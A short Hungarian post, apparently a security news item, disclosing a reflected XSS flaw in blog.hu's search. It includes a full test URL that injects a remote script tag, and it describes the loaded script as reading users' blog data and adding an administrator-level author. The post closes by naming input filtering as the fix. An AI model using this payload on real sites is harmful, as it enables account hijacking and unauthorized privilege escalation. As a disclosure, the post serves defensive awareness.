Darkelf talált egy nem-perzisztens XSS hibát a blog.hu keresőmotorjában. Mint tudjuk, az ilyen jellegű hiányosságok alap esetben nem jelentenek komoly veszélyt egy oldalra nézve, bár pl. egy phishing akció lebonyolításához kiválóan használhatók. Darkelf viszont kicsit továbbgonolta a dolgot, és írt egy ügyes kis szkriptet, ami egy aktív sessionben futtatva kiolvas néhány alapvető információt a felhasználó blogjaiból, valamint felvesz egy úgy adminisztrátori jogosultságú szerzőt is. Az alábbi linket követve tesztelhető a cucc:
http://blog.hu/index.php?posts=15&sentence=OR&s="><script src=https://m.blog.hu/ez/eznemegy/xss.txt> </script>&x=11&y=13

A hiba a keresőkifejezés megfelelő szűrésével orvosolható!